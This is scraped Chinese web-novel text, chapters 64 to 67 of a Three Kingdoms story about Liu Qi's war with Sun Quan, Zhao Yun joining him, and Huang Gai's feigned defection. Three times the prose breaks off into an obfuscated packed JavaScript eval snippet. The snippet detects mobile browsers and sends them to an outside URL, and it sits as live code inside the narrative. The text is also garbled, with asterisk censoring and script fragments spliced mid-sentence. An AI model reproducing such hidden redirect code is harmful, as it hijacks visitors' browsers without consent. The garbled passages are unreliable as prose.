昔日闺中无忧无虑的时光恍如隔世,家破人亡的痛楚刻骨铭心。 多少个深夜,大乔都曾望着身旁熟睡的孙策,心中涌起过不少怨怼,有时甚至会闪过阴暗的念头,诅咒这个强占了她、间接害死父亲的军阀不得善终。 可如今,当诅咒竟成了真。 得知消息的瞬间,大乔以为自己会感到一丝大仇得报的快意,毕竟她曾无数次在心底诅咒这个毁了她安宁、令她家破人亡的军阀。 然而,大乔预想中的释然并未到来。 反而被更巨大、更冰冷的惶恐所吞噬。 孙策这棵大乔曾倚仗、也曾憎恶的大树轰然倒塌,留下的并非解脱,而是无尽的无助与风雨。 “孙伯符……孙伯符!”大乔在心中无声的呐喊,充满了怨愤与凄凉。 “你强掳我来,予我名分,予我骨血,却又这般轻易撒手……留下我们母子,在这虎狼环伺之地,如何自处?” 随着被孙权的半软禁,大乔仿佛已经看到了自己的未来。 随着绍儿日渐长大,他那位坐稳了权位的二叔,会如何看待这个拥有“先主嫡子”名分的侄子? 猜忌、防备、打压……甚至更可怕的结局。 历史上这等事情还少吗?她们母子的命运,从孙策身死、权柄旁落的那一刻起,便已蒙上了厚厚的阴影。 怀中的孙绍因为疲惫,哭声渐歇,抽噎着在她怀中睡去,眼角还挂着泪珠。 大乔轻轻拭去孙绍的泪水,动作温柔,眼神却是一片茫然与绝望。 外面的轰鸣声依旧间歇性地传来,但每一次都像是在敲打在大乔紧绷的神经上。 城若破了,她们会如何?城若守住了,她们又将如何? 无论哪种结果,大乔似乎都看不到她们母子的光明未来。 而此时千里之外的豫州,许都,尚书令府邸内。 烛火摇曳,映照着荀彧清癯的面容。 良久,荀彧放下手中那份关于江夏战事与孙策死讯的详细奏报,指节轻轻敲击着案几,陷入沉思。 自孙策横死,其弟孙权匆忙继位后,便依照惯例遣使至许都,向朝廷上书陈情,名义上自然是请求天子册封,以正其位。 起初,荀彧对此并未太过在意。 江东易主,只要表面上仍尊奉朝廷,许予其继承孙策的“吴侯”爵位与讨虏将军等职,维持现状即可。 这也是许昌朝廷对各方势力更迭时,惯常的处理方式——默认,并给予一定形式上的认可。 然而,近来江夏方向传来的消息,却让荀彧不得不重新审视南方的局势。 那个一度被视作纨绔无能、在襄阳城内郁郁不得志的刘琦,竟如潜龙出渊,一飞冲天! 先是在津乡大破不可一世的“小霸王”孙策,如今更是在江夏与接掌江东的孙权打得难解难分,甚至隐隐占据上风。 荀彧特意调阅了所有关于刘琦的卷宗,发现刘琦先前在襄阳,声名不显,甚至多有“不肖”之评,谁能料到,一旦脱出牢笼,竟能爆发出如此惊人的能量? 荀彧观其行事,招贤纳士,整军经武,短短时间内便整合江夏,抗衡强邻,这岂是庸碌之辈所能为? 这让荀彧心中生出一个荒诞的念头,那就是觉得刘琦此子颇有楚庄王“三年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16676782|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不飞,一飞冲天;三年不鸣,一鸣惊人”之势,已露雄主之姿! 想到这里,荀彧心底不禁生出一丝寒意,却又夹杂着一丝庆幸。 寒意在于,天下英雄何其多也! 北有袁绍雄踞河北,势大难挡,若南方再崛起刘琦这等人物,对正于官渡与袁绍苦苦相持的曹操而言,无疑是巨大的潜在威胁。 庆幸则在于,或许是天数使然,这刘琦与孙氏兄弟竟成了死敌,彼此消耗,无暇北顾。 “令君,” 一旁的心腹属官见荀彧神色变化,便上前低声请示,“江夏及江东局势骤变,影响深远。是否需要将此事详陈,急送官渡,请曹公决断?” 荀彧闻言,抬眼看了属官一眼,,眼神陡然变得锐利,声音也沉了几分:“司空亲临官渡,与袁绍百万大军对峙,日夜焦劳,心力交瘁!” “我等身负留守之责,坐镇中枢,若遇事只知呈报,令司空于千里之外犹需分神细务,岂非臣下失职?” 接着荀彧语气转冷,带着明确的训诫:“尚书台统揽机要,调和四方,正为此等时刻存在。我等当先厘清利害,拟定方略,方可为上司空分忧,而非遇事推诿,徒增烦扰!” 属官被这突如其来的严厉训诫惊得神色一凛,连忙躬身,额头几乎触地:“下官愚钝,令君教训的是!” 荀彧不再多言,目光重新落回地图上的荆州与扬州之间的江夏上。 荀彧深受司空信重,委以尚书令之职,留守许都,实为后方第一人臣。 值此危难之秋,荀彧必须为曹操稳住后方,更要利用一切机会,为北线战局创造有利的局面。 念此,荀彧又拿起关于江夏战事与孙策死讯的详细奏报细看起来。 良久,荀彧心中便有了对策。 “孙、刘二人何其短视,竟为区区江夏在此死斗,既然如此,我便顺势而为,为尔等再添一把干柴,使我**心北向!”荀彧眼中闪过一丝决断。 于是,荀彧迅速拟定了方案,并已急报送往官渡前线的曹操处审定。 方案则是:以朝廷名义,准许孙权继承其兄孙策的“吴侯”爵位,但实际官职,只给予了一个“讨逆将军”(杂号将军)和“吴郡太守”,将其势力范围明确限制在吴郡一带,并未给予其统领江东诸郡的更高名分。 而更关键的一步棋,落在了刘琦身上。 荀彧提议,以天子名义,不仅正式承认其父刘表所表的“偏将军”之职,使其军职名正言顺,更关键的是,加封刘琦为“扬州刺史”! 此乃堂堂正正的阳谋! 荀彧此举,便是要在孙权与刘琦之间,埋下一个几乎无法调和的根本矛盾。 即便刘琦事后看穿此乃许都驱虎吞狼之计,他也绝难拒绝。 此等封疆大吏的诱惑,加之刘琦或许早就对江东存在的觊觎之心,而这份名头足以让刘琦这位效仿‘楚庄王’的枭雄甘愿吞下这带毒的香饵。 这便是阳谋的厉害之处——明知是计,亦不得不从! 很快,荀彧便将心中这份驱虎吞狼之策,书写在竹简上,然后递交给心腹属官。 属官躬身接过那卷写就策略的竹简,便准备封存发出。 但目光扫过内容时,属官不由得倒吸一口凉气,失声低呼:“令君,这……这扬州刺史之位,岂可轻授?” “况且,朝廷此前已表奏刘馥为扬州刺史,使其经营合肥,抚辑江淮。如今再授刘琦,一州两牧,这……” 属官的反应实属正常。 扬州刺史乃封疆大吏,地位尊崇,岂能如同儿戏般随意赐人? 更何况已有正式任命的官员在位。 然而,对于属官的惊疑,荀彧并未多作解释,只是淡淡瞥了他一眼,语气不容置疑:“速去办理,以六百里加急发出,不得延误!” “诺……诺!”属官不敢再问,躬身退下。 在荀彧看来,所谓的“扬州”,其广袤的江东六郡(吴郡、会稽、丹阳、豫章、庐陵、庐江大部)早已是孙权及其附庸的掌控之下,许都朝廷的政令根本无法抵达,许都朝廷真正能掌控的,不过是江北的九江郡部分以及刘馥经营的合肥一带而已。 用一个朝廷本就无法实际控制的“空名”,去挑起两位潜在强敌的死斗,这简直是一本万利的买卖! 刘琦难道还真能拿着这纸诏书,舍弃掉他的江夏基业和数万大军,跑去江北的九江郡上任不成? 看着属官离去的背影,荀彧自语道:“司空深明大势,必知此乃目下最利我之策,定会允准。” 第65章 宴席比武!赵云折服黄忠! 七月流火,暑气正盛。 夏口城下的孙、刘对峙,在**砲日复一日的轰鸣中,又僵持了数日。 荆州大营,中军帐内。 刘琦刚与诸葛亮、庞统议完军务,正欲稍作歇息,亲卫统领**便掀帘而入,面带振奋之色,抱拳禀道:“主公!营外来了一行人马,为首者自称常山赵云,特来相投,此刻正在辕门外候见!” “子龙到了?!” 刘琦闻言,霍然起身,眼中闪过难以抑制的喜色,“快请!不,我亲自去迎!” 说罢,刘琦便大步流星向外走去。 诸葛亮与庞统相视一笑,亦起身随行。 而辕门处守营士卒早已刀出鞘、箭上弦,栅栏后探出的长矛寒光点点,望楼上的**手更是屏息凝神。 虽说知道赵云来投诚的,但赵云身后这百余人马煞气太重,由不得他们不防。 不一会,刘琦便赶到了辕门处,正见这般剑拔**张的景象。 顿时刘琦眉头微皱,当即沉声道:“收**!都是自家弟兄,何须如此戒备!” 令下,弓弦松弛之声接连响起,士卒们这才将兵刃缓缓归鞘,但目光中的警惕未减分毫。 这时,刘琦抬眼望去,只见为首两人并肩而立。 左边一人,白袍银甲,身姿挺拔,虽风尘仆仆,却难掩其渊渟岳峙的沉凝气度,面对方才的森然箭阵,竟是面色如常。 右边则是个黑脸虬髯的壮汉,身形魁梧,相比之下略显局促,一双虎目不时扫视四周军士,粗大的手掌下意识地按在腰间的刀柄上。 见此,刘琦心念电转,白袍者如此风采气度,定是赵云无疑! 刘琦当即朝着那白袍汉子展颜一笑,热情地迎上前去,语气朗声问道:“来者可是常山赵子龙?” 赵云闻言,立即抢前两步,抱拳躬身: “常山赵云,拜见主公!云奉召来迟,望主公恕罪!” 赵云这一声“主公”,算是彻底确认了彼此的身份。 刘琦闻言大笑,伸出双手托住赵云手臂:“子龙何罪之有?千里之遥,艰险重重,你能安然抵达,便是天助我也!” 刘琦说着端详起赵云面容,但见风霜之色难掩英气,心中更是欢喜。 紧接着刘琦再往他们身后看去,只见营门外那百余骑兵静立在炎炎烈日下,战马偶尔不耐地踏动蹄子,打着响鼻,马上骑士却个个挺直脊背,纹丝不动。 这些骑兵身后,则是跟着数百衣衫杂乱的步卒,虽无制式衣甲,却是个个筋肉虬结,眼中透着草莽间的悍勇之气。 而这时那黑脸壮汉也急忙上前,推金山倒玉柱般拜倒在地,声如洪钟: “草民周仓,率卧牛山八百弟兄,特来投效!愿为主公牵马坠镫,万死不辞!” “周仓?”刘琦眉头微挑,心中闪过一丝讶异,这难道就是历史上那个为关羽扛刀的猛将? 但刘琦旋即释然,这乱世,英豪辈出,又一个名人投入麾下也并非奇怪的事。 是以,刘琦一手仍握着赵云手臂,另一手虚扶周仓: “周壮士请起!既与子龙同来,便是自家人。诸位壮士远来辛苦了!” 看着周仓那副粗豪模样,刘琦忽然生出几分恶趣味,含笑问道:“周壮士既来自卧牛山,不知可有一位叫裴元绍的同伙?”。 周仓闻言猛地抬头,虎目中尽是惊诧:“主、主公如何得知?那裴元绍正是某在卧牛山的结义兄弟,只是月前已被赵将军......” 周仓说到此处,不由瞥了眼身旁的赵云,面露惭色。 这时赵云也微微欠身,解释道:“主公明鉴。当日云途经卧牛山,那裴元绍率众拦路,执意要夺云的照夜玉狮子,仓促交手,云失手伤了他性命。” 周仓连忙接口:“此事怪不得赵将军!是裴大哥他......他见马起意,非要强夺赵将军的坐骑。” 刘琦闻言,只是微微一笑,并不解释自己如何知晓裴元绍之名,转而安抚道:“既是误会,便不必再提。周壮士能明辨是非,弃暗投明,实为明智之举。” 刘琦说着,目光却不由自主地望向赵云身后,当初他派出的四名亲卫北上千里寻找赵云,但此刻竟只回来一人,衣衫褴褛地跟在队尾。 “张诚何在?”刘琦心头一紧,声音不觉低沉下来,“莫非...” 赵云见状,立即明白刘琦所忧,连忙解释道:“主公勿忧!张诚兄弟一路护卫,功不可没。只是前日抵达安陆时,许是南北奔波,水土不服,突患痢疾。” “云见他身体不适,便强留他在城中医治,这才未能随行复命。” 刘琦闻言,长长舒了一口气。 接着刘琦望向那归来复命的亲卫,见他满身风霜,甲胄上还带着干涸的血迹,不禁动容,“这一路,辛苦你们了。” 那亲卫急忙单膝跪地,声音哽咽:“为主公效命,万死不辞!只是...王贵、**二位兄弟,在冀州遭遇袁绍巡哨时...力战殉职了。” 场中顿时一片寂静,刘琦闭目良久,再睁开时,眼中已是一片沉痛:“厚恤其家,抚育遗孤。他们的忠义,我刘琦永志不忘。” 这时周仓在一旁听得真切,虎目含泪,轰然拜倒:“主公待部下如此仁厚,周仓这条命,从今往后就是主公的了!” “好!好!”刘琦亲手扶起周仓,又对赵云道,“子龙远来辛苦,且随我入营细说,周壮士与诸位弟兄也请入营安顿。” 刘琦转身对**吩咐:“速备酒食,为子龙和诸位壮士接风。另再派人去安陆,好生照料张诚。” “诺!”**领命而去。 刘琦这才重新展颜,随即执赵云之手,并肩往中军大帐行去。 诸葛亮与庞统紧随其后,二人交换了一个意味深长的眼神。 诸葛亮与庞统虽知赵云前些时日在北线大破李通,但见主公对此人如此礼遇,甚至执手同行,心中不免暗自称奇。 要知刘琦如今坐拥江夏,麾下将校如云,却对一个新投之将这般热情,其中必有深意。 这时庞统凑近诸葛亮,低声道:“孔明观此子如何?” 诸葛亮羽扇轻摇,目光在赵云挺拔的背影上停留片刻,淡淡道:“观其行止,沉稳有度;察其部众,令行禁止。非常人也。” 这时刘琦似有所觉,回头笑道:“险些忘了引见。” 说着,刘琦停下脚步,向赵云介绍起诸葛亮、庞统二人。 “子龙,这位是江夏郡丞诸葛亮,字孔明,有经天纬地之才;这位是参军庞统,字士元,胸藏百万甲兵。” 赵云连忙躬身行礼:“常山赵云,拜见两位先生!” 刘琦又指着赵云对二人道:“这位乃常山赵子龙,昔日在河北时,便以单骑破阵、枪挑名将闻名,前番北线破李通,子龙于千军万马中如入无人之境,生擒赵俨,可谓万夫不当之勇。“ 赵云被夸得有些窘迫,连称:“主公过誉,云愧不敢当。” 诸葛亮含笑:“子龙过谦了,平靖关一战,子龙以百骑破数千之众,足见子龙神勇。” 庞统也笑道:“有子龙这等虎将相助,何愁主公大业不成?” 众人相视一笑,气氛融洽。 周仓跟在最后,见这些文人雅士谈笑风生,不禁挠了挠头,小声对身旁的亲卫道:“这些读书人说话文绉绉的,俺老周听着都费劲。” 那亲卫忍俊不禁,低声道:“周壮士习惯就好。” 来到中军大帐,酒宴早已备好。 刘琦特意让赵云坐在自己左下首,与诸葛亮相对,周仓则安排在赵云下首。 这般座次安排,让在场众将校都暗暗咋舌——这新来的赵云,在主公心中的分量着实不轻。 而帐中诸将校见主公如此厚待一个初来乍到之人,虽表面不说,但心中难免有些不服。 想他们随主公征战多时,立下不少功劳,却无人得享这般殊遇,一时间,帐内气氛虽看似热闹,却暗流涌动。 酒过三巡,老将黄忠借着几分酒意,起身抱拳道:“主公如此厚待赵壮士,想必赵壮士定有过人之处吧?” “末将不才,愿向赵壮士讨教几合,也好让众将士开开眼界。” 黄忠此言一出,帐中顿时安静下来。 众将校虽默不作声,却都露出期待之色,黄忠这番话,正是说出了他们心中所想。 刘琦闻言,不怒反笑,刘琦其实早料到了,自己礼贤下士会有这一出,不过,正好借此机会让赵云立威。 “汉升既有此意,子龙可愿赐教?”刘琦转向赵云,眼中带着鼓励之色。 赵云从容起身,向黄忠恭敬行礼:“久闻黄老将军勇武过人,一箭射杀孙策,威震江夏。云愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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诸葛亮与庞统相视点头,庞统低声道:“武艺超群而不骄,知进退,识大体,此子前途不可限量。” 诸葛亮轻摇羽扇:“主公识人之明,亮深感佩服。” 随后宴席重开,众将校推杯换盏,气氛融洽。 待酒过三巡,刘琦举杯起身,环视众将道:“今日得子龙来投,实乃我军之幸,而子龙不仅武艺超群,更在平靖关大破李通,收复关隘,功不可没。” 说完,刘琦转向赵云,正色道:“今特任命子龙为骑都尉,统领全军骑兵,负责日常操练、战时指挥,兼领中军护卫,望子龙不负众望,助我成就大业。” 赵云闻言,先是一怔,随即离席跪拜,声音微微发颤:“云...定当竭尽所能,不负主公重托!” 赵云是万万没想到刘琦会如此信任,连贴身护卫之责都一并托付。 而此刻帐中诸将心中皆是一震。 他们早料到赵云必掌骑兵,毕竟他带来的百余幽燕铁骑,正是荆州军最缺的兵种。 刘琦麾下虽有七八百马匹,却多是南方矮小的滇马、果下马,平日只作传讯斥候之用。 真正的骑兵冲阵破敌,非得北方战马不可。 更令众将吃惊的是兼领中军护卫这一职——中军护卫乃主公亲随,负责主帅安危,非心腹重臣不能担任。 如今竟委于一个初来乍到的新人,虽然这新人确实是武艺不凡,但未免也太...... 帐中众将面面相觑,张了张嘴不知该如何说道。 而周仓在席末看得眼热,心中忍不住嘀咕道:“乖乖,这才第一天,主公就这么信任赵壮士,真是跟对人了!” 刘琦将众将反应尽收眼底,却只是淡然一笑,并未多做解释。 刘琦对赵云的安排心中早有计较。 赵云之勇,不管是史记或者是演绎皆少有人能敌。 只是这些缘由,皆来自后世的记忆,此刻刘琦却是不便明言,不过刘琦相信,自己既以国士之礼待赵云,赵云必以国士之情报之。 刘琦转头看向周仓,温言道:“周壮士率众来投,其心可嘉。今任命周仓为军候,暂隶子龙麾下,统领原部八百锐士。” 周仓大喜过望,连忙跪地叩首:“拜谢主公,仓必不负所托!” 军候一职,在东汉军制中可领兵五百至八百,正合周仓所部人数,刘琦这般安排任命既显重用,又不至升迁过速,众将皆觉妥当。 而就在荆州大营庆功宴罢之际,夏口城内的气氛,却已压抑到了极点。 第66章 公瑾请鞭挞我吧! 与荆州大营的士气高昂相比,夏口城内,却是另一番光景。 西城墙处,那令江东士卒心胆俱裂的砲石轰鸣,已持续轰击了数日。 这几日李老三在石阳戍关隘没又赶制出十架**砲,与先前的十架**炮分作两班,昼夜不息。 而砲石落处,砖石崩裂,烟尘弥漫,那段饱经摧残的墙体早已是千疮百孔,摇摇欲坠。 而城头江东守军更是苦不堪言。 虽然大多守军皆藏身与城墙之下,但仍不时有石弹从头顶呼啸而过,更有碎石迸溅四射。 时长日久下来现在士卒只要听到那石弹破空而来的“嗖嗖”声就腿肚子转筋,纵有城墙遮挡,仍偶有石弹越过城头,直坠而下,即便未被直接砸中,飞溅的碎石也足以让人头破血流,甚或一命呜呼。 而在这样的这种只能挨打、无法还手的情况下,士气日益低迷,最后更是军心涣散。 先是黄祖旧部、新招的江夏士卒,三三两两,乃至成群结队,趁夜缒城而下,投奔荆州大营。 最后甚至连一些随军的江东士族子弟,也觉大势已去,纷纷寻门路、托关系,只想早日逃离这危城。 而城内的临时吴侯府邸中,江东众将校皆齐聚一堂,但堂内的气氛却压抑得令人窒息。 堂内孙权坐于主位,面沉似水。 下首的周瑜半倚在软榻上,脸色比之前稍好,褪去了那层病态的蜡黄,却转为一种虚弱的苍白,仍不时以拳掩口,发出几声低咳。 韩当立在右侧,右臂用布带吊在胸前,脸色铁青——那是三日前夜袭砲阵失利,被老将黄忠一刀劈伤所致。 吕范环视众人,见无人开口,只得硬着头皮,沉声道:“主公,都督,眼下军心涣散,城墙将颓。” “刘琦势大,兼有石砲这等利器……夏口,恐不可守。为今之计,当速退鄱阳,保全实力,以待将来。” 若在以往,吕范此言一出,韩当、潘璋等宿将必然激烈反对。 可此刻厅内众将却依旧静默不言,只是烛火摇曳,映得众人脸上阴晴不定。 有人垂首盯着案上纹路,仿佛能瞧出花来,有人下意识地捻着胡须,目光闪烁,更有几位将领眉头紧锁,嘴唇翕动,最终却还是化作一声几不可闻的叹息。 孙权看着麾下这群垂头丧气的将领,只觉胸口憋闷异常。 兄长为夺江夏赔上了性命,如今自己刚继位就要将它拱手让人,岂非让兄长血白流? 更令孙权恐惧的是,此举会动摇他尚未稳固的地位。 就在满堂沉寂,撤退几成定局之时,一直闭目不语的老将黄盖,倏然睁开双眼,踏前一步。 这一步响声在这沉寂的堂内尤为响亮,瞬间吸引了所有目光。 “主公!都督!”黄盖声音洪亮,带着一丝决绝,“老臣有一计,或可扭转乾坤!” 所有人都抬起头,愕然地看向黄盖。 黄盖在江东素以勇猛刚烈著称,向来是冲锋陷阵的猛将,何时见黄盖献过什么高明计策? 而眼下连智谋超群的周瑜都束手无策,黄盖你又能有什么妙计? 黄盖环视众人错愕的神情,如何不知他们心中所想? 但黄盖并在意,只是声若洪钟道: “末将愿效古之烈士,行诈降之策!” “待某假意投敌,取得刘琦信任后,或可劝其派兵入城,届时伏兵齐出,先断其一指!若时机得当,更可里应外合,焚其砲车,解此危城之围!“ 不待孙权发问,黄盖已慨然道:“主公!如今城内军心涣散,逃卒日增,那些江夏降卒投敌也就罢了,连我江东儿郎都开始动摇。既然如此...” 黄盖环视众人,声音陡然提高:“末将愿效古之烈士,行诈降之策!” “不可!”周瑜强撑病体坐直,“那些投降的多是江夏新附之卒,刘琦或可信之,然公覆乃我江东三世老臣,突然来降,刘琦岂会轻信?” 但黄盖早有准备,慨然道:“都督所言极是。故而某愿与都督演一场戏——某可在军中散布怨言,与都督故作不和,都督可怒而鞭之,某继而''愤而投敌'',如此刘琦必不疑某。” “届时,某便诈称能说服北门旧部暗中归降,诱其派遣先锋入城。” “我军则可于瓮城设下伏兵,先断其一指,重创其精锐!” “同时某可在彼营中以为内应,都督可遣大军前来,某里应外合,纵不能尽灭刘琦,亦要焚其砲车,解此危城之围!” 此计一出,满座皆惊。 黄盖这计策看似可行,实则凶险异常。 且不说诈降之人一旦暴露便是死路一条,就算刘琦暂且信了,也必会严加防范。 一个新降之将,想要在敌军大营中有所作为,谈何容易? 届时周瑜若真率军来攻,黄盖既要设法接应,又要在乱军中保全性命,无异于刀尖起舞,凶险程度简直是九死一生的搏命之举! 周瑜凝视黄盖,胸中气血翻涌,强忍咳意,哑声道:“公覆......此计,太过凶险。那刘琦帐下谋士如云,一旦被识破......” “哈哈哈!” 黄盖须发皆张,朗声大笑,“为江东之势,何惜此残躯?若能为江东除此大患,我愿肝脑涂地!” 闻言周瑜沉默了,望向黄盖的眼神已变得复杂——既有对黄盖忠勇的敬佩,亦有对这条计策的深深忧虑。 而黄盖见周瑜沉默下来了,便转向孙权,单膝跪地,声若洪钟:“主公!如今局势危急,若非行此险招,夏口必不能守!盖愿以这身残躯,为江东搏一个转机!请主公准计!” 孙权看着跪地**的黄盖,这位三朝老将须发皆白却仍愿以身涉险,这让孙权‘不禁’眼眶发热。 孙权快步走前,双手扶起黄盖,声音微微发颤:“公覆甘愿舍身饲虎,此等忠义,古今罕有!” “只是......此去九死一生,权实在不忍......” “主公!” 然而,黄盖反握住孙权的手,“盖年过六旬,若能以这条老命换得江东基业稳固,死而无憾!” 孙权深吸一口气,紧紧握住黄盖粗糙的双手,沉声道:“既如此......权,准了!待老将军功成归来,必当筑坛拜将,以酬今日之功!” 计策既定,戏便开锣。 随后两日,黄盖屡于军中抱怨周瑜“年少专权”、“视将士如草芥”、“非要困守死地”等怨言。 而这些怨言自然是很快传入周瑜耳中。 周瑜遂‘下令’召黄盖至堂前,当众斥其“动摇军心”、“倚老卖老”。 黄盖则‘愤然’顶撞,言辞激烈。 周瑜亦‘勃然大怒’,下令杖责黄盖五十军棍以儆效尤! 而行刑之时,不知是周瑜有意告诫全军将校,特意将黄盖制于中军校场上,当着大量士卒和将校的面,狠狠地鞭挞黄盖。 军棍着肉之声沉闷骇人,直打得黄盖后背皮开肉绽,鲜血淋漓。 待亲兵将奄奄一息的黄盖抬回营帐后,这“将帅失和”的消息,很快便传遍全军,不明缘由的士卒听闻后,只觉前途更加黯淡。 本就面对刘琦的砲击束手无策,如今将帅失和更是雪上加霜。 当夜,缒城而逃的士卒竟比往日多了一倍有余。 而城中将帅失和,周瑜打黄盖的消息自然是很快传到荆州大营。 当刘琦听着降卒禀报黄盖因主张退兵被周瑜当众杖责时,脸上不禁露出玩味的神色。 “周瑜打黄盖?” 听到这则消息的瞬间,刘琦心头就冒出这念头。 这出戏码,刘琦在后世的演义话本里可是再熟悉不过了。 只是没想到,在这个时空里,这出苦肉计的主角竟换成了自己。 刘琦心中暗笑,周瑜啊周瑜,你竟被我的**砲逼到这般田地了吗? 连这等苦肉计都使出来了,看来这连日砲击,确实让你束手无策了。 可惜啊,我这还只使出一成力,你就已经黔驴技穷。 想到那些还未来得及启用的诸多手段,刘琦嘴角的笑意更深了。 单单,提前造出**炮就能将这位火烧赤壁美周郎逼得束手无策。 要是等自己再发明曲辕犁,轮作耕种法,**,还有土法炼钢.....等等,那自己还不得小母牛倒立啊....。 汉末现在直辕犁笨重难用,非得二牛三人方能耕作;而曲辕犁只需一牛一人,便可深耕细作,且收成还能高于直辕犁。 而轮作之法,当今的农户不知轮作,往往只在一块土地上连种数载,然后便地力枯竭收成减少,只得抛荒休耕,另寻他处耕作,但重新开垦土地,所耗时间甚多。 而若行豆禾轮作之法,则田亩四季不荒,地力反增,如此农户便可以不用再重新开垦土地浪费时间,多出的时间,便可以多开垦一些田亩出来。 如此一加一减 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688660|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,刘琦便要比其余诸侯多出一半的粮食。 至于**和土法炼钢更加不用多说,对于当前的人来说,妥妥的黑科技。 刘琦不禁遥想将来:待这些利器一一问世,粮草堆积如山,兵甲寒光耀目。 届时十万精兵吃着增产的军粮,握着精钢打造的兵刃,推着装载**的石砲——什么曹操、袁绍,什么江东孙氏,在他这绝对的碾压之势面前,都不过是土鸡瓦狗罢了。 想到得意处,刘琦几乎要笑出声来。 不过很快,刘琦便收起了心中YY眼下,还是先陪周瑜把这出戏唱完先。 毕竟看着这位江东美周郎绞尽脑汁地想出这等‘妙计’,倒也是件趣事。 正思忖间,诸葛亮掀帘而入,额间还带着巡视营寨时的细汗。 “主公。” 诸葛亮接过亲兵递上的茶水,轻啜一口,“今日又有百余江东士卒来降。照此情形,不出十日,夏口守军必溃。或许不必强攻,单凭砲击便可令其不战自降。” 刘琦把玩着手中的茶盏,摇头笑道:“孔明啊孔明,你可知道方才得到什么消息?” 诸葛亮闻言,轻轻将茶盏置于案几上,眉梢轻扬:“愿闻其详!” 诸葛亮深知这位刘琦每每看似随意的话语中,往往藏着出人意料之言。 此刻见刘琦这般神情,心知这消息必定非同小可。 “黄盖被周瑜当众杖责五十军棍,如今已是奄奄一息了。” 诸葛亮闻言,羽扇微顿,眼中闪过一丝精光:“将帅失和?” 随后,诸葛亮对刘琦贺喜道:“这周瑜真是被主公的石砲急昏了头,竟在此时自毁长城!恭喜主公,不日将入驻夏口矣!” 诸葛亮何等聪慧,一听便知这必是江东将帅失和。 而周瑜在此时重责三世老臣,无异于自断臂膀。 而城中守军本就士气低落,如今将帅离心,破城只在旦夕之间。 刘琦却意味深长地摇头:“孔明只知其一,不知其二,周瑜何等人物,岂会在这个节骨眼上重责三世老臣?黄盖又岂是那般不知轻重之人?这分明是......” 诸葛亮眉头微蹙,羽扇轻摇:“主公的意思是......此乃周瑜自导自演的一出戏?” 诸葛亮略作沉吟,“可周瑜为何要如此?总不会是黄盖有受虐之癖吧?” “噗——” 看着诸葛亮一本正经分析的神情,刘琦一个没忍住,竟笑出声来。 见诸葛亮投来疑惑的目光,刘琦连忙摆手,“孔明莫怪,只是想到黄盖作为孙氏三朝老臣,征战沙场数十载,若真有此癖,战场上刀光剑影早就够他受用了,何须等到今日。” 诸葛亮闻言也不禁莞尔,随即正色道:“那主公以为......” “诈降。”刘琦轻吐二字。 这二字一出,诸葛亮眼中精光乍现,瞬间明白了周瑜的算盘。 “原来如此!周瑜这是要借黄盖之身,行里应外合之计呀!” 说完,诸葛亮随即神色一肃,向刘琦深深一揖:“主公英明!若非主公点破,亮险些被这出苦肉计瞒过去了。” “他日黄盖果真来投,亮定不会生疑,只当是江东内讧,必会建议主公欣然纳之。” 刘琦连忙上前扶起诸葛亮,温言道:“孔明何必如此?周瑜此计确实精妙,若非...咳,若非我早有所察,也险些被他瞒过。” 刘琦说着轻轻拍了拍诸葛亮的肩膀,“你我能互为补充,方是取胜之道。” 诸葛亮直起身来,眼中感激之色更浓:“主公虚怀若谷,亮感佩不已。” 接着,诸葛亮问道:“那依主公之见,若黄盖真来相投,我等当如何应对?” 刘琦转身,目光灼灼:“既然他们非要送这份''大礼'',我们岂有不收之理?” 刘琦踱步至帐前,望着夏口城方向,“传令下去,若是黄盖来投,务必以礼相待,周瑜要演苦肉计,我们便陪他演一出将计就计。” 诸葛亮羽扇轻点,眼中闪过一丝了然:“亮这便去安排。既要让黄盖觉得计成,又要让营中早作准备,免得真让他们得手了。” “正是如此。” 刘琦颔首,“所以这出戏,我们更要好好配合。传令各营,表面放松戒备,暗地里在砲阵两侧多设伏兵。” “主公英明。” 诸葛亮躬身领命,“亮这就去安排,定让周瑜以为我们已入彀中。” 第67章 刘琦冷笑:你的苦肉计我早看穿! 自感戏份已经做足的周瑜、黄盖二人,觉得时机成熟,便又精心安排了一出大戏。 夜,月暗星稀。 这夜三更时分,夏口水门处突然火光冲天,喊杀声四起。 黄盖率领麾下千余部曲,假意要夺取水门‘投诚’,与守军发生激烈‘冲突’。 双方在水门处展开了一场看似惨烈的厮杀,战船相撞声、士卒呐喊声震天动地,火光将半边江水都映得通红。 望江岭上,宋濂部哨兵远远望见夏口方向的异动,立即飞报主将。 而宋濂自是不敢怠慢,当即派遣快马直奔荆州大营。 荆州军大营内。 “报——” 传令兵大喊着疾驰入帐,“启禀主公,望江岭来信,夏口水门突发激战,火光冲天,似有内乱!” 刘琦与诸葛亮、庞统正在帐中议事,闻报相视而笑。 “来了来了。” 刘琦抚掌轻笑,顺手从案几上取过一碟蜜渍枣子,“好戏开场了。诸位且坐,稍后定有''贵客''登门。” 诸葛亮会意一笑,轻摇羽扇应和道:“周瑜这场戏,倒是演得颇为热闹。” 